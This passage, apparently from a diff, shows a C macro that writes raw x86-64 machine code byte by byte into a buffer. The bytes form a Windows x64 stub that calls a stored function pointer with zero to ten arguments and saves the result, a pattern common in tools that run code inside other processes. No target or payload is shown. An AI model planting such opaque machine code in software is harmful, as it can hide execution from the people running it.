793]=0x45; (p)[ 794]=0xE0; (p)[ 795]=0x4C; (p)[ 796]=0x8B; (p)[ 797]=0x45; (p)[ 798]=0xE0; (p)[ 799]=0x8B; \ + (p)[ 800]=0x4D; (p)[ 801]=0xEC; (p)[ 802]=0x48; (p)[ 803]=0x8B; (p)[ 804]=0x55; (p)[ 805]=0xF0; (p)[ 806]=0x48; (p)[ 807]=0x8B; \ + (p)[ 808]=0x45; (p)[ 809]=0xF8; (p)[ 810]=0x4D; (p)[ 811]=0x89; (p)[ 812]=0xC1; (p)[ 813]=0x41; (p)[ 814]=0x89; (p)[ 815]=0xC8; \ + (p)[ 816]=0x48; (p)[ 817]=0x89; (p)[ 818]=0xC1; (p)[ 819]=0x48; (p)[ 820]=0x8B; (p)[ 821]=0x05; (p)[ 822]=0x00; (p)[ 823]=0x00; \ + (p)[ 824]=0x00; (p)[ 825]=0x00; (p)[ 826]=0xFF; (p)[ 827]=0xD0; (p)[ 828]=0x89; (p)[ 829]=0x45; (p)[ 830]=0xDC; (p)[ 831]=0x8B; \ + (p)[ 832]=0x45; (p)[ 833]=0xDC; (p)[ 834]=0x48; (p)[ 835]=0x63; (p)[ 836]=0xD0; (p)[ 837]=0x48; (p)[ 838]=0x8B; (p)[ 839]=0x45; \ + (p)[ 840]=0x10; (p)[ 841]=0x48; (p)[ 842]=0x89; (p)[ 843]=0x50; (p)[ 844]=0x60; (p)[ 845]=0x90; (p)[ 846]=0x48; (p)[ 847]=0x83; \ + (p)[ 848]=0xC4; (p)[ 849]=0x50; (p)[ 850]=0x5D; (p)[ 851]=0xC3; (p)[ 852]=0x55; (p)[ 853]=0x41; (p)[ 854]=0x54; (p)[ 855]=0x57; \ + (p)[ 856]=0x56; (p)[ 857]=0x53; (p)[ 858]=0x48; (p)[ 859]=0x83; (p)[ 860]=0xEC; (p)[ 861]=0x50; (p)[ 862]=0x48; (p)[ 863]=0x8D; \ + (p)[ 864]=0x6C; (p)[ 865]=0x24; (p)[ 866]=0x50; (p)[ 867]=0x48; (p)[ 868]=0x89; (p)[ 869]=0x4D; (p)[ 870]=0x30; (p)[ 871]=0x48; \ + (p)[ 872]=0x8B; (p)[ 873]=0x45; (p)[ 874]=0x30; (p)[ 875]=0x8B; (p)[ 876]=0x40; (p)[ 877]=0x0C; (p)[ 878]=0x83; (p)[ 879]=0xF8; \ + (p)[ 880]=0x0A; (p)[ 881]=0x0F; (p)[ 882]=0x84; (p)[ 883]=0x8B; (p)[ 884]=0x03; (p)[ 885]=0x00; (p)[ 886]=0x00; (p)[ 887]=0x83; \ + (p)[ 888]=0xF8; (p)[ 889]=0x0A; (p)[ 890]=0x0F; (p)[ 891]=0x87; (p)[ 892]=0x0F; (p)[ 893]=0x04; (p)[ 894]=0x00; (p)[ 895]=0x00; \ + (p)[ 896]=0x83; (p)[ 897]=0xF8; (p)[ 898]=0x09; (p)[ 899]=0x0F; (p)[ 900]=0x84; (p)[ 901]=0xF6; (p)[ 902]=0x02; (p)[ 903]=0x00; \ + (p)[ 904]=0x00; (p)[ 905]=0x83; (p)[ 906]=0xF8; (p)[ 907]=0x09; (p)[ 908]=0x0F; (p)[ 909]=0x87; (p)[ 910]=0xFD; (p)[ 911]=0x03; \ + (p)[ 912]=0x00; (p)[ 913]=0x00; (p)[ 914]=0x83; (p)[ 915]=0xF8; (p)[ 916]=0x08; (p)[ 917]=0x0F; (p)[ 918]=0x84; (p)[ 919]=0x6E; \ + (p)[ 920]=0x02; (p)[ 921]=0x00; (p)[ 922]=0x00; (p)[ 923]=0x83; (p)[ 924]=0xF8; (p)[ 925]=0x08; (p)[ 926]=0x0F; (p)[ 927]=0x87; \ + (p)[ 928]=0xEB; (p)[ 929]=0x03; (p)[ 930]=0x00; (p)[ 931]=0x00; (p)[ 932]=0x83; (p)[ 933]=0xF8; (p)[ 934]=0x07; (p)[ 935]=0x0F; \ + (p)[ 936]=0x84; (p)[ 937]=0xF3; (p)[ 938]=0x01; (p)[ 939]=0x00; (p)[ 940]=0x00; (p)[ 941]=0x83; (p)[ 942]=0xF8; (p)[ 943]=0x07; \ + (p)[ 944]=0x0F; (p)[ 945]=0x87; (p)[ 946]=0xD9; (p)[ 947]=0x03; (p)[ 948]=0x00; (p)[ 949]=0x00; (p)[ 950]=0x83; (p)[ 951]=0xF8; \ + (p)[ 952]=0x06; (p)[ 953]=0x0F; (p)[ 954]=0x84; (p)[ 955]=0x87; (p)[ 956]=0x01; (p)[ 957]=0x00; (p)[ 958]=0x00; (p)[ 959]=0x83; \ + (p)[ 960]=0xF8; (p)[ 961]=0x06; (p)[ 962]=0x0F; (p)[ 963]=0x87; (p)[ 964]=0xC7; (p)[ 965]=0x03; (p)[ 966]=0x00; (p)[ 967]=0x00; \ + (p)[ 968]=0x83; (p)[ 969]=0xF8; (p)[ 970]=0x05; (p)[ 971]=0x0F; (p)[ 972]=0x84; (p)[ 973]=0x2B; (p)[ 974]=0x01; (p)[ 975]=0x00; \ + (p)[ 976]=0x00; (p)[ 977]=0x83; (p)[ 978]=0xF8; (p)[ 979]=0x05; (p)[ 980]=0x0F; (p)[ 981]=0x87; (p)[ 982]=0xB5; (p)[ 983]=0x03; \ + (p)[ 984]=0x00; (p)[ 985]=0x00; (p)[ 986]=0x83; (p)[ 987]=0xF8; (p)[ 988]=0x04; (p)[ 989]=0x0F; (p)[ 990]=0x84; (p)[ 991]=0xD6; \ + (p)[ 992]=0x00; (p)[ 993]=0x00; (p)[ 994]=0x00; (p)[ 995]=0x83; (p)[ 996]=0xF8; (p)[ 997]=0x04; (p)[ 998]=0x0F; (p)[ 999]=0x87; \ + (p)[1000]=0xA3; (p)[1001]=0x03; (p)[1002]=0x00; (p)[1003]=0x00; (p)[1004]=0x83; (p)[1005]=0xF8; (p)[1006]=0x03; (p)[1007]=0x0F; \ + (p)[1008]=0x84; (p)[1009]=0x8C; (p)[1010]=0x00; (p)[1011]=0x00; (p)[1012]=0x00; (p)[1013]=0x83; (p)[1014]=0xF8; (p)[1015]=0x03; \ + (p)[1016]=0x0F; (p)[1017]=0x87; (p)[1018]=0x91; (p)[1019]=0x03; (p)[1020]=0x00; (p)[1021]=0x00; (p)[1022]=0x83; (p)[1023]=0xF8; \ + (p)[1024]=0x02; (p)[1025]=0x74; (p)[1026]=0x51; (p)[1027]=0x83; (p)[1028]=0xF8; (p)[1029]=0x02; (p)[1030]=0x0F; (p)[1031]=0x87; \ + (p)[1032]=0x83; (p)[1033]=0x03; (p)[1034]=0x00; (p)[1035]=0x00; (p)[1036]=0x85; (p)[1037]=0xC0; (p)[1038]=0x74; (p)[1039]=0x0A; \ + (p)[1040]=0x83; (p)[1041]=0xF8; (p)[1042]=0x01; (p)[1043]=0x74; (p)[1044]=0x1B; (p)[1045]=0xE9; (p)[1046]=0x75; (p)[1047]=0x03; \ + (p)[1048]=0x00; (p)[1049]=0x00; (p)[1050]=0x48; (p)[1051]=0x8B; (p)[1052]=0x45; (p)[1053]=0x30; (p)[1054]=0x48; (p)[1055]=0x8B; \ + (p)[1056]=0x00; (p)[1057]=0xFF; (p)[1058]=0xD0; (p)[1059]=0x48; (p)[1060]=0x8B; (p)[1061]=0x55; (p)[1062]=0x30; (p)[1063]=0x48; \ + (p)[1064]=0x89; (p)[1065]=0x42; (p)[1066]=0x60; (p)[1067]=0xE9; (p)[1068]=0x5F; (p)[1069]=0x03; (p)[1070]=0x00; (p)[1071]=0x00; \ + (p)[1072]=0x48; (p)[1073]=0x8B; (p)[1074]=0x45; (p)[1075]=0x30; (p)[1076]=0x48; (p)[1077]=0x8B; (p)[1078]=0x00; (p)[1079]=0x48; \ + (p)[1080]=0x89; (p)[1081]=0xC2; (p)[1082]=0x48; (p)[1083]=0x8B; (p)[1084]=0x45; (p)[1085]=0x30; (p)[1086]=0x48; (p)[1087]=0x8B; \ + (p)[1088]=0x40; (p)[1089]=0x10; (p)[1090]=0x48; (p)[1091]=0x89; (p)[1092]=0xC1; (p)[1093]=0xFF; (p)[1094]=0xD2; (p)[1095]=0x48; \ + (p)[1096]=0x8B; (p)[1097]=0x55; (p)[1098]=0x30; (p)[1099]=0x48; (p)[1100]=0x89; (p)[1101]=0x42; (p)[1102]=0x60; (p)[1103]=0xE9; \ + (p)[1104]=0x3B; (p)[1105]=0x03; (p)[1106]=0x00; (p)[1107]=0x00; (p)[1108]=0x48; (p)[1109]=0x8B; (p)[1110]=0x45; (p)[1111]=0x30; \ + (p)[1112]=0x48; (p)[1113]=0x8B; (p)[1114]=0x00; (p)[1115]=0x49; (p)[1116]=0x89; (p)[1117]=0xC0; (p)[1118]=0x48; (p)[1119]=0x8B; \ + (p)[1120]=0x45; (p)[1121]=0x30; (p)[1122]=0x48; (p)[1123]=0x8B; (p)[1124]=0x50; (p)[1125]=0x18; (p)[1126]=0x48; (p)[1127]=0x8B; \ + (p)[1128]=0x45; (p)[1129]=0x30; (p)[1130]=0x48; (p)[1131]=0x8B; (p)[1132]=0x40; (p)[1133]=0x10; (p)[1134]=0x48; (p)[1135]=0x89; \ + (p)[1136]=0xC1; (p)[1137]=0x41; (p)[1138]=0xFF; (p)[1139]=0xD0; (p)[1140]=0x48; (p)[1141]=0x8B; (p)[1142]=0x55; (p)[1143]=0x30; \ + (p)[1144]=0x48; (p)[1145]=0x89; (p)[1146]=0x42; (p)[1147]=0x60; (p)[1148]=0xE9; (p)[1149]=0x0E; (p)[1150]=0x03; (p)[1151]=0x00; \ + (p)[1152]=0x00; (p)[1153]=0x48; (p)[1154]=0x8B; (p)[1155]=0x45; (p)[1156]=0x30; (p)[1157]=0x48; (p)[1158]=0x8B; (p)[1159]=0x00; \ + (p)[1160]=0x49; (p)[1161]=0x89; (p)[1162]=0xC1; (p)[1163]=0x48; (p)[1164]=0x8B; (p)[1165]=0x45; (p)[1166]=0x30; (p)[1167]=0x48; \ + (p)[1168]=0x8B; (p)[1169]=0x48; (p)[1170]=0x20; (p)[1171]=0x48; (p)[1172]=0x8B; (p)[1173]=0x45; (p)[1174]=0x30; (p)[1175]=0x48; \ + (p)[1176]=0x8B; (p)[1177]=0x50; (p)[1178]=0x18; (p)[1179]=0x48; (p)[1180]=0x8B; (p)[1181]=0x45; (p)[1182]=0x30; (p)[1183]=0x48; \ + (p)[1184]=0x8B; (p)[1185]=0x40; (p)[1186]=0x10; (p)[1187]=0x49; (p)[1188]=0x89; (p)[1189]=0xC8; (p)[1190]=0x48; (p)[1191]=0x89; \ + (p)[1192]=0xC1; (p)[1193]=0x41; (p)[1194]=0xFF; (p)[1195]=0xD1; (p)[1196]=0x48; (p)[1197]=0x8B; (p)[1198]=0x55; (p)[1199]=0x30; \ + (p)[1200]=0x48; (p)[1201]=0x89; (p)[1202]=0x42; (p)[1203]=0x60; (p)[1204]=0xE9; (p)[1205]=0xD6; (p)[1206]=0x02; (p)[1207]=0x00; \ + (p)[1208]=0x00; (p)[1209]=0x48; (p)[1210]=0x8B; (p)[1211]=0x45; (p)[1212]=0x30; (p)[1213]=0x48; (p)[1214]=0x8B; (p)[1215]=0x00; \ + (p)[1216]=0x49; (p)[1217]=0x89; (p)[1218]=0xC2; (p)[1219]=0x48; (p)[1220]=0x8B; (p)[1221]=0x45; (p)[1222]=0x30; (p)[1223]=0x4C; \ + (p)[1224]=0x8B; (p)[1225]=0x40; (p)[1226]=0x28; (p)[1227]=0x48; (p)[1228]=0x8B; (p)[1229]=0x45; (p)[1230]=0x30; (p)[1231]=0x48; \ + (p)[1232]=0x8B; (p)[1233]=0x48; (p)[1234]=0x20; (p)[1235]=0x48; (p)[1236]=0x8B; (p)[1237]=0x45; (p)[1238]=0x30; (p)[1239]=0x48; \ + (p)[1240]=0x8B; (p)[1241]=0x50; (p)[1242]=0x18; (p)[1243]=0x48; (p)[1244]=0x8B; (p)[1245]=0x45; (p)[1246]=0x30; (p)[1247]=0x48; \ + (p)[1248]=0x8B; (p)[1249]=0x40; (p)[1250]=0x10; (p)[1251]=0x4D; (p)[1252]=0x89; (p)[1253]=0xC1; (p)[1254]=0x49; (p)[1255]=0x89; \ + (p)[1256]=0xC8; (p)[1257]=0x48; (p)[1258]=0x89; (p)[1259]=0xC1; (p)[1260]=0x41; (p)[1261]=0xFF; (p)[1262]=0xD2; (p)[1263]=0x48; \ + (p)[1264]=0x8B; (p)[1265]=0x55; (p)[1266]=0x30; (p)[1267]=0x48; (p)[1268]=0x89; (p)[1269]=0x42; (p)[1270]=0x60; (p)[1271]=0xE9; \ + (p)[1272]=0x93; (p)[1273]=0x02; (p)[1274]=0x00; (p)[1275]=0x00; (p)[1276]=0x48; (p)[1277]=0x8B; (p)[1278]=0x45; (p)[1279]=0x30; \ + (p)[1280]=0x48; (p)[1281]=0x8B; (p)[1282]=0x00; (p)[1283]=0x49; (p)[1284]=0x89; (p)[1285]=0xC2; (p)[1286]=0x48; (p)[1287]=0x8B; \ + (p)[1288]=0x45; (p)[1289]=0x30; (p)[1290]=0x48; (p)[1291]=0x8B; (p)[1292]=0x48; (p)[1293]=0x30; (p)[1294]=0x48; (p)[1295]=0x8B; \ + (p)[1296]=0x45; (p)[1297]=0x30; (p)[1298]=0x4C; (p)[1299]=0x8B; (p)[1300]=0x48; (p)[1301]=0x28; (p)[1302]=0x48; (p)[1303]=0x8B; \ + (p)[1304]=0x45; (p)[1305]=0x30; (p)[1306]=0x4C; (p)[1307]=0x8B; (p)[1308]=0x40; (p)[1309]=0x20; (p)[1310]=0x48; (p)[1311]=0x8B; \ + (p)[1312]=0x45; (p)[1313]=0x30; (p)[1314]=0x48; (p)[1315]=0x8B; (p)[1316]=0x50; (p)[1317]=0x18; (p)[1318]=0x48; (p)[1319]=0x8B; \ + (p)[1320]=0x45; (p)[1321]=0x30; (p)[1322]=0x48; (p)[1323]=0x8B; (p)[1324]=0x40; (p)[1325]=0x10; (p)[1326]=0x48; (p)[1327]=0x89; \ + (p)[1328]=0x4C; (p)[1329]=0x24; (p)[1330]=0x20; (p)[1331]=0x48; (p)[1332]=0x89; (p)[1333]=0xC1; (p)[1334]=0x41; (p)[1335]=0xFF; \ + (p)[1336]=0xD2; (p)[1337]=0x48; (p)[1338]=0x8B; (p)[1339]=0x55; (p)[1340]=0x30; (p)[1341]=0x48; (p)[1342]=0x89; (p)[1343]=0x42; \ + (p)[1344]=0x60; (p)[1345]=0xE9; (p)[1346]=0x49; (p)[1347]=0x02; (p)[1348]=0x00; (p)[1349]=0x00; (p)[1350]=0x48; (p)[1351]=0x8B; \ + (p)[1352]=0x45; (p)[1353]=0x30; (p)[1354]=0x48; (p)[1355]=0x8B; (p)[1356]=0x00; (p)[1357]=0x49; (p)[1358]=0x89; (p)[1359]=0xC3; \ + (p)[1360]=0x48; (p)[1361]=0x8B; (p)[1362]=0x45; (p)[1363]=0x30; (p)[1364]=0x4C; (p)[1365]=0x8B; (p)[1366]=0x40; (p)[1367]=0x38; \ + (p)[1368]=0x48; (p)[1369]=0x8B; (p)[1370]=0x45; (p)[1371]=0x30; (p)[1372]=0x48; (p)[1373]=0x8B; (p)[1374]=0x48; (p)[1375]=0x30; \ + (p)[1376]=0x48; (p)[1377]=0x8B; (p)[1378]=0x45; (p)[1379]=0x30; (p)[1380]=0x4C; (p)[1381]=0x8B; (p)[1382]=0x48; (p)[1383]=0x28; \ + (p)[1384]=0x48; (p)[1385]=0x8B; (p)[1386]=0x45; (p)[1387]=0x30; (p)[1388]=0x4C; (p)[1389]=0x8B; (p)[1390]=0x50; (p)[1391]=0x20; \ + (p)[1392]=0x48; (p)[1393]=0x8B; (p)[1394]=0x45; (p)[1395]=0x30; (p)[1396]=0x48; (p)[1397]=0x8B; (p)[1398]=0x50; (p)[1399]=0x18; \ + (p)[1400]=0x48; (p)[1401]=0x8B; (p)[1402]=0x45; (p)[1403]=0x30; (p)[1404]=0x48; (p)[1405]=0x8B; (p)[1406]=0x40; (p)[1407]=0x10; \ + (p)[1408]=0x4C; (p)[1409]=0x89; (p)[1410]=0x44; (p)[1411]=0x24; (p)[1412]=0x28; (p)[1413]=0x48; (p)[1414]=0x89; (p)[1415]=0x4C; \ + (p)[1416]=0x24; (p)[1417]=0x20; (p)[1418]=0x4D; (p)[1419]=0x89; (p)[1420]=0xD0; (p)[1421]=0x48; (p)[1422]=0x89; (p)[1423]=0xC1; \ + (p)[1424]=0x41; (p)[1425]=0xFF; (p)[1426]=0xD3; (p)[1427]=0x48; (p)[1428]=0x8B; (p)[1429]=0x55; (p)[1430]=0x30; (p)[1431]=0x48; \ + (p)[1432]=0x89; (p)[1433]=0x42; (p)[1434]=0x60; (p)[1435]=0xE9; (p)[1436]=0xEF; (p)[1437]=0x01; (p)[1438]=0x00; (p)[1439]=0x00; \ + (p)[1440]=0x48; (p)[1441]=0x8B; (p)[1442]=0x45; (p)[1443]=0x30; (p)[1444]=0x48; (p)[1445]=0x8B; (p)[1446]=0x00; (p)[1447]=0x48; \ + (p)[1448]=0x89; (p)[1449]=0xC3; (p)[1450]=0x48; (p)[1451]=0x8B; (p)[1452]=0x45; (p)[1453]=0x30; (p)[1454]=0x4C; (p)[1455]=0x8B; \ + (p)[1456]=0x48; (p)[1457]=0x40; (p)[1458]=0x48; (p)[1459]=0x8B; (p)[1460]=0x45; (p)[1461]=0x30; (p)[1462]=0x4C; (p)[1463]=0x8B; \ + (p)[1464]=0x40; (p)[1465]=0x38; (p)[1466]=0x48; (p)[1467]=0x8B; (p)[1468]=0x45; (p)[1469]=0x30; (p)[1470]=0x48; (p)[1471]=0x8B; \ + (p)[1472]=0x48; (p)[1473]=0x30; (p)[1474]=0x48; (p)[1475]=0x8B; (p)[1476]=0x45; (p)[1477]=0x30; (p)[1478]=0x4C; (p)[1479]=0x8B; \ + (p)[1480]=0x58; (p)[1481]=0x28; (p)[1482]=0x48; (p)[1483]=0x8B; (p)[1484]=0x45; (p)[1485]=0x30; (p)[1486]=0x4C; (p)[1487]=0x8B; \ + (p)[1488]=0x50; (p)[1489]=0x20; (p)[1490]=0x48; (p)[1491]=0x8B; (p)[1492]=0x45; (p)[1493]=0x30; (p)[1494]=0x48; (p)[1495]=0x8B; \ + (p)[1496]=0x50; (p)[1497]=0x18; (p)[1498]=0x48; (p)[1499]=0x8B; (p)[1500]=0x45; (p)[1501]=0x30; (p)[1502]=0x48; (p)[1503]=0x8B; \ + (p)[1504]=0x40; (p)[1505]=0x10; (p)[1506]=0x4C; (p)[1507]=0x89; (p)[1508]=0x4C; (p)[1509]=0x24; (p)[1510]=0x30; (p)[1511]=0x4C; \ + (p)[1512]=0x89; (p)[1513]=0x44; (p)[1514]=0x24; (p)[1515]=0x28; (p)[1516]=0x48; (p)[1517]=0x89; (p)[1518]=0x4C; (p)[1519]=0x24; \ + (p)[1520]=0x20; (p)[1521]=0x4D; (p)[1522]=0x89; (p)[1523]=0xD9; (p)[1524]=0x4D; (p)[1525]=0x89; (p)[1526]=0xD0; (p)[1527]=0x48; \ + (p)[1528]=0x89; (p)[1529]=0xC1; (p)[1530]=0xFF; (p)[1531]=0xD3; (p)[1532]=0x48; (p)[1533]=0x8B; (p)[1534]=0x55; (p)[1535]=0x30; \ + (p)[1536]=0x48; (p)[1537]=0x89; (p)[1538]=0x42; (p)[1539]=0x60; (p)[1540]=0xE9; (p)[1541]=0x86; (p)[1542]=0x01; (p)[1543]=0x00; \ + (p)[1544]=0x00; (p)[1545]=0x48; (p)[1546]=0x8B; (p)[1547]=0x45; (p)[1548]=0x30; (p)[1549]=0x48; (p)[1550]=0x8B; (p)[1551]=0x00; \ + (p)[1552]=0x48; (p)[1553]=0x89; (p)[1554]=0xC6; (p)[1555]=0x48; (p)[1556]=0x8B; (p)[1557]=0x45; (p)[1558]=0x30; (p)[1559]=0x4C; \ + (p)[1560]=0x8B; (p)[1561]=0x50; (p)[1562]=0x48; (p)[1563]=0x48; (p)[1564]=0x8B; (p)[1565]=0x45; (p)[1566]=0x30; (p)[1567]=0x4C; \ + (p)[1568]=0x8B; (p)[1569]=0x48; (p)[1570]=0x40; (p)[1571]=0x48; (p)[1572]=0x8B; (p)[1573]=0x45; (p)[1574]=0x30; (p)[1575]=0x4C; \ + (p)[1576]=0x8B; (p)[1577]=0x40; (p)[1578]=0x38; (p)[1579]=0x48; (p)[1580]=0x8B; (p)[1581]=0x45; (p)[1582]=0x30; (p)[1583]=0x48; \ + (p)[1584]=0x8B; (p)[1585]=0x48; (p)[1586]=0x30; (p)[1587]=0x48; (p)[1588]=0x8B; (p)[1589]=0x45; (p)[1590]=0x30; (p)[1591]=0x48; \ + (p)[1592]=0x8B; (p)[1593]=0x58; (p)[1594]=0x28; (p)[1595]=0x48; (p)[1596]=0x8B; (p)[1597]=0x45; (p)[1598]=0x30; (p)[1599]=0x4C; \ + (p)[1600]=0x8B; (p)[1601]=0x58; (p)[1602]=0x20; (p)[1603]=0x48; (p)[1604]=0x8B; (p)[1605]=0x45; (p)[1606]=0x30; (p)[1607]=0x48; \ + (p)[1608]=0x8B; (p)[1609]=0x50; (p)[1610]=0x18; (p)[1611]=0x48; (p)[1612]=0x8B; (p)[1613]=0x45; (p)[1614]=0x30; (p)[1615]=0x48; \ + (p)[1616]=0x8B; (p)[1617]=0x40; (p)[1618]=0x10; (p)[1619]=0x4C; (p)[1620]=0x89; (p)[1621]=0x54; (p)[1622]=0x24; (p)[1623]=0x38; \ + (p)[1624]=0x4C; (p)[1625]=0x89; (p)[1626]=0x4C; (p)[1627]=0x24; (p)[1628]=0x30; (p)[1629]=0x4C; (p)[1630]=0x89; (p)[1631]=0x44; \ + (p)[1632]=0x24; (p)[1633]=0x28; (p)[1634]=0x48; (p)[1635]=0x89; (p)[1636]=0x4C; (p)[1637]=0x24; (p)[1638]=0x20; (p)[1639]=0x49; \ + (p)[1640]=0x89; (p)[1641]=0xD9; (p)[1642]=0x4D; (p)[1643]=0x89; (p)[1644]=0xD8; (p)[1645]=0x48; (p)[1646]=0x89; (p)[1647]=0xC1; \ + (p)[1648]=0xFF; (p)[1649]=0xD6; (p)[1650]=0x48; (p)[1651]=0x8B; (p)[1652]=0x55; (p)[1653]=0x30; (p)[1654]=0x48; (p)[1655]=0x89; \ + (p)[1656]=0x42; (p)[1657]=0x60; (p)[1658]=0xE9; (p)[1659]=0x10; (p)[1660]=0x01; (p)[1661]=0x00; (p)[1662]=0x00; (p)[1663]=0x48; \ + (p)[1664]=0x8B; (p)[1665]=0x45; (p)[1666]=0x30; (p)[1667]=0x48; (p)[1668]=0x8B; (p)[1669]=0x00; (p)[1670]=0x48; (p)[1671]=0x89; \ + (p)[1672]=0xC7; (p)[1673]=0x48; (p)[1674]=0x8B; (p)[1675]=0x45; (p)[1676]=0x30; (p)[1677]=0x4C; (p)[1678]=0x8B; (p)[1679]=0x58; \ + (p)[1680]=0x50; (p)[1681]=0x48; (p)[1682]=0x8B; (p)[1683]=0x45; (p)[1684]=0x30; (p)[1685]=0x4C; (p)[1686]=0x8B; (p)[1687]=0x50; \ + (p)[1688]=0x48; (p)[1689]=0x48; (p)[1690]=0x8B; (p)[1691]=0x45; (p)[1692]=0x30; (p)[1693]=0x4C; (p)[1694]=0x8B; (p)[1695]=0x48; \ + (p)[1696]=0x40; (p)[1697]=0x48; (p)[1698]=0x8B; (p)[1699]=0x45; (p)[1700]=0x30; (p)[1701]=0x4C; (p)[1702]=0x8B; (p)[1703]=0x40; \ + (p)[1704]=0x38; (p)[1705]=0x48; (p)[1706]=0x8B; (p)[1707]=0x45; (p)[1708]=0x30; (p)[1709]=0x48; (p)[1710]=0x8B; (p)[1711]=0x48; \ + (p)[1712]=0x30; (p)[1713]=0x48; (p)[1714]=0x8B; (p)[1715]=0x45; (p)[1716]=0x30; (p)[1717]=0x48; (p)[1718]=0x8B; (p)[1719]=0x70; \ + (p)[1720]=0x28; (p)[1721]=0x48; (p)[1722]=0x8B; (p)[1723]=0x45; (p)[1724]=0x30; (p)[1725]=0x48; (p)[1726]=0x8B; (p)[1727]=0x58; \ + (p)[1728]=0x20; (p)[1729]=0x48; (p)[1730]=0x8B; (p)[1731]=0x45; (p)[1732]=0x30; (p)[1733]=0x48; (p)[1734]=0x8B; (p)[1735]=0x50; \ + (p)[1736]=0x18; (p)[1737]=0x48; (p)[1738]=0x8B; (p)[1739]=0x45; (p)[1740]=0x30; (p)[1741]=0x48; (p)[1742]=0x8B; (p)[1743]=0x40; \ + (p)[1744]=0x10; (p)[1745]=0x4C; (p)[1746]=0x89; (p)[1747]=0x5C; (p)[1748]=0x24; (p)[1749]=0x40; (p)[1750]=0x4C; (p)[1751]=0x89; \ + (p)[1752]=0x54; (p)[1753]=0x24; (p)[1754]=0x38; (p)[1755]=0x4C; (p)[1756]=0x89; (p)[1757]=0x4C; (p)[1758]=0x24; (p)[1759]=0x30; \ + (p)[1760]=0x4C; (p)[1761]=0x89; (p)[1762]=0x44; (p)[1763]=0x24; (p)[1764]=0x28; (p)[1765]=0x48; (p)[1766]=0x89; (p)[1767]=0x4C; \ + (p)[1768]=0x24; (p)[1769]=0x20; (p)[1770]=0x49; (p)[1771]=0x89; (p)[1772]=0xF1; (p)[1773]=0x49; (p)[1774]=0x89; (p)[1775]=0xD8; \ + (p)[1776]=0x48; (p)[1777]=0x89; (p)[1778]=0xC1; (p)[1779]=0xFF; (p)[1780]=0xD7; (p)[1781]=0x48; (p)[1782]=0x8B; (p)[1783]=0x55; \ + (p)[1784]=0x30; (p)[1785]=0x48; (p)[1786]=0x89; (p)[1787]=0x42; (p)[1788]=0x60; (p)[1789]=0xE9; (p)[1790]=0x8D; (p)[1791]=0x00; \ + (p)[1792]=0x00; (p)[1793]=0x00; (p)[1794]=0x48; (p)[1795]=0x8B; (p)[1796]=0x45; (p)[1797]=0x30; (p)[1798]=0x48; (p)[1799]=0x8B; \ + (p)[1800]=0x00; (p)[1801]=0x49; (p)[1802]=0x89; (p)[1803]=0xC4; (p)[1804]=0x48; (p)[1805]=0x8B; (p)[1806]=0x45; (p)[1807]=0x30; \ + (p)[1808]=0x48; (p)[1809]=0x8B; (p)[1810]=0x58; (p)[1811]=0x58; (p)[1812]=0x48; (p)[1813]=0x8B; (p)[1814]=0x45; (p)[1815]=0x30; \ + (p)[1816]=0x4C; (p)[1817]=0x8B; (p)[1818]=0x58; (p)[1819]=0x50; (p)[1820]=0x48; (p)[1821]=0x8B; (p)[1822]=0x45; (p)[1823]=0x30; \ + (p)[1824]=0x4C; (p)[1825]=0x8B; (p)[1826]=0x50; (p)[1827]=0x48; (p)[1828]=0x48; (p)[1829]=0x8B; (p)[1830]=0x45; (p)[1831]=0x30; \ + (p)[1832]=0x4C; (p)[1833]=0x8B; (p)[1834]=0x48; (p)[1835]=0x40; (p)[1836]=0x48; (p)[1837]=0x8B; (p)[1838]=0x45; (p)[1839]=0x30; \ + (p)[1840]=0x4C; (p)[1841]=0x8B; (p)[1842]=0x40; (p)[1843]=0x38; (p)[1844]=0x48; (p)[1845]=0x8B; (p)[1846]=0x45; (p)[1847]=0x30; \ + (p)[1848]=0x48; (p)[1849]=0x8B; (p)[1850]=0x48; (p)[1851]=0x30; (p)[1852]=0x48; (p)[1853]=0x8B; (p)[1854]=0x45; (p)[1855]=0x30; \ + (p)[1856]=0x48; (p)[1857]=0x8B; (p)[1858]=0x78; (p)[1859]=0x28; (p)[1860]=0x48; (p)[1861]=0x8B; (p)[1862]=0x45; (p)[1863]=0x30; \ + (p)[1864]=0x48; (p)[1865]=0x8B; (p)[1866]=0x70; (p)[1867]=0x20; (p)[1868]=0x48; (p)[1869]=0x8B; (p)[1870]=0x45; (p)[1871]=0x30; \ + (p)[1872]=0x48; (p)[1873]=0x8B; (p)[1874]=0x50; (p)[1875]=0x18; (p)[1876]=0x48; (p)[1877]=0x8B; (p)[1878]=0x45; (p)[1879]=0x30; \ + (p)[1880]=0x48; (p)[1881]=0x8B; (p)[1882]=0x40; (p)[1883]=0x10; (p)[1884]=0x48; (p)[1885]=0x89; (p)[1886]=0x5C; (p)[1887]=0x24; \ + (p)[1888]=0x48; (p)[1889]=0x4C; (p)[1890]=0x89; (p)[1891]=0x5C; (p)[1892]=0x24; (p)[1893]=0x40; (p)[1894]=0x4C; (p)[1895]=0x89; \ + (p)[1896]=0x54; (p)[1897]=0x24; (p)[1898]=0x38; (p)[1899]=0x4C; (p)[1900]=0x89; (p)[1901]=0x4C; (p)[1902]=0x24; (p)[1903]=0x30; \ + (p)[1904]=0x4C; (p)[1905]=0x89; (p)[1906]=0x44; (p)[1907]=0x24; (p)[1908]=0x28; (p)[1909]=0x48; (p)[1910]=0x89; (p)[1911]=0x4C; \ + (p)[1912]=0x24; (p)[1913]=0x20; (p)[1914]=0x49; (p)[1915]=0x89; (p)[1916]=0xF9; (p)[1917]=0x49; (p)[1918]=0x89; (p)[1919]=0xF0; \ + (p)[1920]=0x48; (p)[1921]=0x89; (p)[1922]=0xC1; (p)[1923]=0x41; (p)[1924]=0xFF; (p)[1925]=0xD4; (p)[1926]=0x48; (p)[1927]=0x8B; \ + (p)[1928]=0x55; (p)[1929]=0x30; (p)[1930]=0x48; (p)[1931]=0x89; (p)[1932]=0x42; (p)[1933]=0x60; (p)[1934]=0x90; (p)[1935]=0x90; \ + (p)[1936]=0x48; (p)[1937]=0x83; (p)[1938]=0xC4; (p)[1939]=0x50; (p)[1940]=0x5B; (p)[1941]=0x5E; (p)[1942]=0x5F; (p)[1943]=0x41; \ + (p)[1944]=0x5C; (p)[1945]=0x5D; (p)[1946]=0xC3; (p)[1947]=0x90; (p)[1948]=0x55; (p)[1949]=0x48; (p)[1950]=0x89; (p)[1951]=0xE5; \ + (p)[1952]=0x48; (p)[1953]=0x83; (p)[1954]=0xEC; (p)[1955]=0x20; (p)[1956]=0x48; (p)[1957]=0x89; (p)[1958]=0x4D; 